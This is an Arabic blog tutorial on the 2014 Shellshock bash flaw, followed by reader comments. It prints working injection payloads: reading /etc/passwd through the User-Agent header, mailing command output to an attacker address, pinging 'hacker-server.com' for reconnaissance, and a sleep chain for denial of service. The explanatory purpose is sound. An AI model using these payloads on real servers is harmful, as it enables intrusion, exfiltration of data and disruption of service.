مقال : شرح موسع حول ثغرة Shellshock
السلام عليكم , في عام 2014 ظهرت ثغرة بعنوان Shellshock سيكون شرح اليوم مفصل لها للاغراض الاكاديمية .
ما هي ثغرة Shellshock ؟
ثغرة Shellshock هي عبارة عن خطأ برمجي في مُفسر الأوامر bash هو اختصار ل”Bourne-again shell” ومثال عن ثغرات ACE
(Arbitrary code execution) ، تحتاج ثغرات ACE الى فهم متطور للغاية لكل من تنفيذ الاوامر والاجزاء الداخلية لعملية التنفيذ بالاضافة الى معرفة بتخطيط الذاكرة و لغة assembly مختصر الأمر .. تحتاج الى خبير في هذه المجالات ! ، المهاجم يستخدم ثغرة ACE لرفع او تنفيذ برنامج يعطيه طريقة سهلة للتحكم في الة الهدف ، هذا غالباً يتحقق بتنفيذ ما يسمى “Shell” وال”Shell” هو عبارة عن سطر اوامر حيث تضع يمكن للاوامر ان تدخل وتنفذ.
ثغرة الShellshock في مشكلة بحد ذاتها لانها تمحي الاحتياج لاي مهارات ومعرفة خاصة , وتعطي طريقة سهلة (سهلة جداً) للاستيلاء والسطيرة على كمبيوتر اخر (كخادم ويب مثلاً) وجعله ينفذ الاكواد .
سبب سهولة ثغرة Shellshock
حين يتسلم خادم ويب او سيرفر طلب فانه مكون من ثلاث مقاطع يمكن ان تكون مصابة لثغرة Shellshock : الURL المطلوب , الhttp header او المعلومات المدخلة ما يسمى “arguments” (حين تكتب اسمك وايميلك وتعليق في isecur1ty سيتم ارسالها كarguments) وكنا قد شرحنا سابقاً إستخدام الـ HTTP HEADER في عملية اختبار الاختراق يمكنك ايجادها هنا ، الأن نقوم بعمل مثال بسيط لو استقبل سيرفر موقعنا طلب بسيط سيكون كالاتي :
GET / X Host: www.isecur1ty.org User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive If-Modified-Since: *X
في الطلب السابق يمكنك رؤية الHeader وما يحتويه من معلومات عن المتصحف او المستخدم مثلا / هو طلب للصفحة الرئيسية و
Accept-Encoding ..الخ هذه المعلومات تقدم للسيرفر ليعرف نوع المتصفح وما هو اللغة المفضلة والموقع المراد طلبه ونوع حزمة الاتصال وليس من الشائع لهذه المعلومات ان يتم تحويلها لمتغيرات في داخل السيرفر ليقوم بدارستها.
فرضاً ستظهر للسيرفر الذي طلب به صفحة موقعنا بالشكل التالي :
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5 HTTP_HOST= www.isecur1ty.org HTTP_CACHE_CONTROL=no-cache HTTP_ACCEPT_ENCODING=gzip, deflate HTTP_USER_AGENT=Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
في حالة بقاء هذه المتغيرات في برنامج السيرفر نفسه بدون الخروج لبرامج اخرى فان السيرفر غير مصاب بثغرة Shellshock .
Shellshock تحدث حين يتم تمرير هذه المتيغرات الى برنامج اخر يسمى “bash” وكما ذكرنا سابقا فهو مفسر ومنفذ الاوامر في انظمة Linux , في الكثير من الاحيان السيرفرات تحتاج الى تمرير هذه المتغيرات الى برامج اخرى ومن الشائع ان يتم تمرير هذه المتغيرات الى bash او shell اخر .
ثغرة Shellshock تحدث بالتحديد حين يقوم المهاجم بتعديل طلب HTTP الاصلي وجعله يحتوي على المتغير السحري الذي هو استغلال الثغرة
ويكون على شكل () { :; };
في الطلب يوجد نوع المتصفح فسوف يقوم المهاجم بتغيره من Mozilla/5.0 الى x() {:;}; /bin/cat /etc/passwd وسيكون قادر على قراءة ملف passwd في النظام وعرضه في الصفحة المطلوبة . ! سوف يفوم السيرفر بقراءة الامر وتفيذه كالاتي
HTTP_USER_AGENT=() { :; }; /bin/cat /etc/passwd
الخلل في برنامج bash سوف يقوم بقراءة الجزء الاول واهماله وبعدها تنفيذ الجزء الثاني نعم بهذه السهولة فقط !
إستغلالات مُتقدمة
الأن سنشرح ما يمكن عمله بصورة سهلة جداً وخطيرة ايضاً وسوف نبدأ ببعض السيناريوهات ، منها :
سحب وارسال المعلومات الى ايميل المهاجم
يمكن للمهاجم البحث عن الثغرة واستخدام هذا الكود مثلاً
x() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' [email protected]
سوف يقوم السيرفر اذا كان يملك صلاحيات ROOT (صلاحيات مستخدم كاملة او ما يسمى superuser ) بتنفيذ الامر whoami
الذي لايجاد اسماء المستخدمين الموجودين على السيرفر وبعدها ارسال ايميل الى [email protected] بعنوان example.com 1
بعدها يقوم المهاجم بدخول ايميله للحصول على المعلومات نفس التكنيك يمكن استعماله لفك ضغط وارسال ملفات الباسوردات الى الايميل .
هجوم الإستطلاع
يعد من احد اهم الهجمات في عالم الهاك سنتطرق له في مقالات اخرى يسمى هجوم الاستطلاع او “reconnaissance” في هجوم reconnaissance المهاجم يوقم بارسال اوامر سوف تقوم لاحقاً بارسال رسالة الى الة طرف ثالث كسيرفر مثلاً . والة الطرف الثالث تقوم بعمل لائحة للالات المصابة التي قامت بالاتصال بها .
في السابق , كان يتم عمل الالات وتحويلها الى شبكات بوت نت او لعمل سبام او اغراض اخرى.
واحد اشهر التكنيكات المستعملة في reconnaissance هو استخدام الامر ping
لجعل الالة المصابة تقوم بارسال حزمة واحدة (تسمى ping) الى خادم طرف ثالث الذي يكون خاص بالمهاجم الاستغلال يبدو مثل :
x() {:;}; ping -c 1 -p XYZ1234567891011 hacker-server.com
عادة الامر ping يستعمل لاختبار هل السيرفر “alive” او موجود على الشبكة . اذا كان السيرفر مصاب بثغرة Shellshock سوف يقوم بارسال حزمة واحدة الموضوع عددها في (-c 1) الى hacker-server.com مع البايلود الذي تم اضافته في (-p) . البايلود هو عبارة عن رقم او رمز فريد من نوعه يتم اضافته بواسطة المهاجم ليستطيع تعقب الحزمة التي تم استلامها من قبل السيرفر المصاب .
التحكم بالمكونات المادية للسيرفر
من الامور التي يمكن ارسالها للسيرفر للتحقق من اذا ما كان السيرفر مصاب يمكن ارسال
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com
x هذا الامر يقوم بعمل طلب الى موقع example.com فاذا كان السيرفر مصاب سوف يقوم بفتح محرك الاقراص cd او dvd ! فاذا رايت محرك الاقراص مفتوح قد يكون الهكر جرب ال ثغرة ShellShock عليك 😛
هجوم حجم الخدمة محلياً
بطلب بسيط مثل هذا
x() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20
في الاستغلال اعلاه يحاول المهاجم بثلاث طرق تنفيذ الامر (sleep) لان امر sleep قد يكون في احد المسارات bin أو sbin او usr/bin . الامر يقوم بعمل ايقاف للسيرفر عن تنفيذ التعليمات لمدة 20 ثانية . اذا تم تاخر السيرفر فالسيرفر مصاب قد يقوم المهاجم بتاخير المدة وزيادة عدد هذه الطلبات لذلك سيكون السيرفر عاجز عن التعامل مع طلبات اخرى وبهذا يسبب DoS .
كلمة أخيرة
يوجد هناك انواع اخرى اكثر خطورة يمكنك الاطلاع عليها لاحقاً .
مصادر وروابط مفيدة
- أداة لحفص السيرفر
- ShellShock
- CVE-2014-6277 , CVE-2014-6278 , CVE-2014-7169
- bash
مع تحياتي وتحيات فريق iSecur1ty ، لأي اسفتسار اترك تعليقاً أو تواصل معي عبر تويتر
أحسنت الشرح والله وربنا يوفقكم تقدموا المزيد إن شاء الله
الشرح رائع الله يعينك ويقويك ارجوك انا اريد نظام كالي لينكس ولكن الاتصال عندي بطيء فلو امكن رفع النظام مضغوط علي اي موقع رفع وارسال الرابط
ارجو الرد والاهتمام واسف علي الازعاج
جزاك الله خيرا لقد استفدت من الشرح كثيرا.
شكرا جزيلا لك ولموقعكم المفيد جدا
شرح واضح ومفهوم , جزاك الله خيرا
السلام عليكم … انا نزلت هدا البرنامج في هاتف 816 htc … اصبح الهاتف يقوم بإعادة التشغيل من نلقاء نفسه ولا استطيع حدفه او حتى عمل سفتوير لان كل المعلومات ترجع بعد السفتوير للهاتف من جدبد عجز في حل هده المشكلة اكبر خبرا الهواتف لدينا ارجو المساعدة وجازاك الله خيرا
شكرا لكم جزيلا افضل شرح للثغرة